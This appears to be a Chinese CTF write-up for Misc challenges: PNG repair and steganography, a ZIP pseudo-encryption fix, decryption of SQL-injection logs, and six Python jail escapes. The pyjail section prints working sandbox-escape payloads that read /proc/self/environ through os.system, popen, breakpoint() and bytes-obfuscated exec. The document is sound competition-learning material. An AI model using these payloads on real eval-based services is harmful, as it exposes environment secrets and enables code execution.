Misc

102次阅读
没有评论

Misc

Strange_png

拿到一张奇怪的PNG图片,默认无法预览,大小有819KB,打开010Editor看看
标头数据查询各种文件类型及文件头标识大全(十六进制) – 知乎

Misc

存在一个PNG标头 但是不完整

Misc

尾部找到了一个压缩包文件,发现是强加密,可能涉及到爆破,在这里初步猜测可能是图片里面存在压缩包密码。先把zip文件提取出来。

Misc

Misc

之后对剩余的残存图片进行补齐头部的操作

with open("misc.png", "rb") as f:
    data = f.read()

# PNG signature
fixed = b"\x89PNG" + data  # 前面补上 89 50 4E 47

with open("recover.png", "wb") as f:
    f.write(fixed)

Misc

得到目标png图片,但是直接肉眼观察并不能观察到明显的压缩密码。直接选择使用zsteg爆破出信息

zsteg recover.png

Misc

其中第一条非常特别,尝试换行标记符之前的内容
30HDdsaHsjfisdf123321

Misc

flag被编码过,使用cybercheif解码,得到flag

Misc

CCB

压缩包的各区域如下:

   1.压缩源文件数据区:  
      50 4B 03 04:这是头文件标记  (0x04034b50)  
      14 00:解压文件所需 pkware 版本  
      00 00:全局方式位标记(判断有无加密)  
      08 00:压缩方式  
      5A 7E:最后修改文件时间  
      F7 46:最后修改文件日期

      2.压缩源文件目录区:  
     50 4B 01 02:目录中文件文件头标记  (0x02014b50)  
     1F 00:压缩使用的 pkware 版本  
     14 00:解压文件所需 pkware 版本  
     00 00:全局方式位标记(判断是否为伪加密)  
     08 00:压缩方式  
      5A 7E:最后修改文件时间  
      F7 46:最后修改文件日期

      3.压缩源文件目录结束标志:  
     50 4B 05 06:目录结束标记  
     00 00:当前磁盘编号  
     00 00:目录区开始磁盘编号  
     01 00:本磁盘上纪录总数  
     01 00:目录区中纪录总数  
     59 00 00 00:目录区尺寸大小  
     3E 00 00 00:目录区对第一张磁盘的偏移量  
     00 00:ZIP 文件注释长度

无加密时,目录区数据区全局方式位标记都为 00 00
伪加密时,目录区标记为09 00,数据区标注为 00 00
真加密时,目录区数据区均标注为 09 00

Misc

数据区无加密
Misc

但是目录区存在伪加密,只需要把01改为00即可

解压缩 发现一个dll以及一个txt

Misc

一眼base64,解码
Misc

Misc

缺少方言,大概率是要在dll里面获取,那么调用dll

import ctypes

dll = ctypes.WinDLL(r"C:\Users\15589\Desktop\CCB\CCB.dll")

# 设置返回值类型为 64 位整数
dll.CCB.restype = ctypes.c_int64  

# 如果确认没有参数,可以直接调用
result = dll.CCB()
print("函数返回值:", result)

Misc

b31915cd51e064bbaf8d6b2790ba108df10c84358f37033cb83609e78e9a3bfb

Misc

PYJAIL*6

PYJAIL1

无限制,直接构造payload

import os
os.system("cat /proc/self/environ")

Misc

PYJAIL2

Misc

分析源码,提交的内容会被直接eval
构造payload

 __import__('os').popen('cat /proc/self/environ').read()

Misc

PYJAIL3

Misc

存在长度限制,一次传入的数据不得大于13
breakpoint()可用,构造payload

breakpoint()
 __import__('os').popen('cat /proc/self/environ').read()

Misc

PYJAIL4

长度没限制好,方法同上
Misc

PYJAIL5

Misc
观察,过滤了很多方法以及字符(语法层面上)
没有禁用eval exec,那么试着试图使用bytes()替换绕过

exec(bytes([95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 111, 115, 34, 41, 46, 115, 121, 115, 116, 101, 109, 40, 34, 99, 97, 116, 32, 47, 112, 114, 111, 99, 47, 115, 101, 108, 102, 47, 101, 110, 118, 105, 114, 111, 110, 34, 41]))

Misc

PYJAIL6

Misc

禁止一切ASCII字符传入
那么只需要调用全角字符绕过即可(注意,在linux环境下进行,否则由于Windows灵车的编码问题会报错)

exec(bytes([95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 111, 115, 34, 41, 46, 115, 121, 115, 116, 101, 109, 40, 34, 99, 97, 116, 32, 47, 112, 114, 111, 99, 47, 115, 101, 108, 102, 47, 101, 110, 118, 105, 114, 111, 110, 34, 41]))

Misc

EZSocialEngineering

Misc

这一眼就是在讲DDOS原理 根据右上角UP的名字查找即可

Misc

BV1KQ4y117nq

ezsqli

Misc

发现疑似盲注的日志 锁定IP 清洗日志

grep "172.16.178.33" your_log_file.log > cleaned_log.txt

Misc

Misc

响应大小1280为注入成功,再次过滤

grep "1280" cleaned_log.txt > cleaned_log1.txt

Misc

这里的flag是AES加密过的,把文件里面的ASCII拼接运算即可得到flag

  • 当前数据库名 (DATABASE()) :

    • 提取内容: 102 105 110 97 110 99 101 95 100 98
    • 还原结果: finance_db ^^
  • 表名 (information_schema.tables) :

    • 提取内容: user_accounts,transaction_logs,admin_users,sys_conf ^^
  • admin_users中的密码 (password) :

    • 注意: 这是一个加密的十六进制字符串(Ciphertext)。
    • 提取内容 (Hex): 5a15c26228ae3af44797eaa4426d8fd498f79ecb2059b592903422eaafc355ab4c105a9e7ab6b5a43195266887779269 ^^
  • sys_conf中的密钥信息:

    • 攻击者随后查询了 sys_conf 表,获取了 AES 的配置信息。
    • AES IV (aes_iv) ​: 61945a9ac62102c6 ^^
    • AES Key (aes_key) ​: b1c91fe0fc5af04615230c9196b087ff ^^

从提取的信息来看,管理员密码是加密存储的,而解密所需的 KeyIV 就在 sys_conf 表中。

  • 密文 (Ciphertext) ​: 5a15c26228ae3af44797eaa4426d8fd498f79ecb2059b592903422eaafc355ab4c105a9e7ab6b5a43195266887779269
  • 密钥 (Key) ​: b1c91fe0fc5af04615230c9196b087ff​ (32 字节 -> AES-256)
  • 偏移量 (IV) ​: 61945a9ac62102c6 (16 字节)
  • 模式: AES CBC (通常带有 IV 的都是 CBC 模式)
from Crypto.Cipher import AES
import binascii

# 从日志中提取的参数
key = b'b1c91fe0fc5af04615230c9196b087ff'  # 32字节
iv  = b'61945a9ac62102c6'                  # 16字节
ciphertext_hex = '5a15c26228ae3af44797eaa4426d8fd498f79ecb2059b592903422eaafc355ab4c105a9e7ab6b5a43195266887779269'

# 转换为二进制
ciphertext = binascii.unhexlify(ciphertext_hex)

# 解密
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)

# 去除填充并打印
print("Flag:", decrypted.decode('utf-8', errors='ignore'))

Misc

Realworld-HackVcenter

Misc

杂揉了大量证书信息 先清洗

import re

def remove_certificates(input_file, output_file):
    print(f"[*] 正在读取文件: {input_file}")
    
    try:
        # 使用二进制模式打开 ('rb'),因为这类流量文件通常包含不可打印字符
        with open(input_file, 'rb') as f:
            content = f.read()
        
        # 定义正则表达式
        # b'...' 表示字节串
        # .*? 表示非贪婪匹配中间的所有内容
        # flags=re.DOTALL 非常重要,它让 '.' 也能匹配换行符,从而匹配多行证书
        pattern = re.compile(rb'-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----', flags=re.DOTALL)
        
        # 将匹配到的内容替换为空 (b'')
        cleaned_content, count = re.subn(pattern, b'', content)
        
        # 写入新文件
        with open(output_file, 'wb') as f:
            f.write(cleaned_content)
            
        print(f"[+] 处理完成!")
        print(f"[+] 共删除了 {count} 个证书区块")
        print(f"[+] 结果已保存为: {output_file}")
        
    except FileNotFoundError:
        print(f"[-] 错误: 找不到文件 {input_file}")
    except Exception as e:
        print(f"[-] 发生错误: {e}")

# 配置文件名
# 根据你之前的题目,文件名应该是这个,如果不是请修改
input_filename = '443.this.is.mitm.file' 
output_filename = 'cleaned_mitm.file'

if __name__ == '__main__':
    remove_certificates(input_filename, output_filename)

Misc

找到一段神秘的unicode

Misc

Misc

丢给ai转译得到了flag

正文完
 0
评论(没有评论)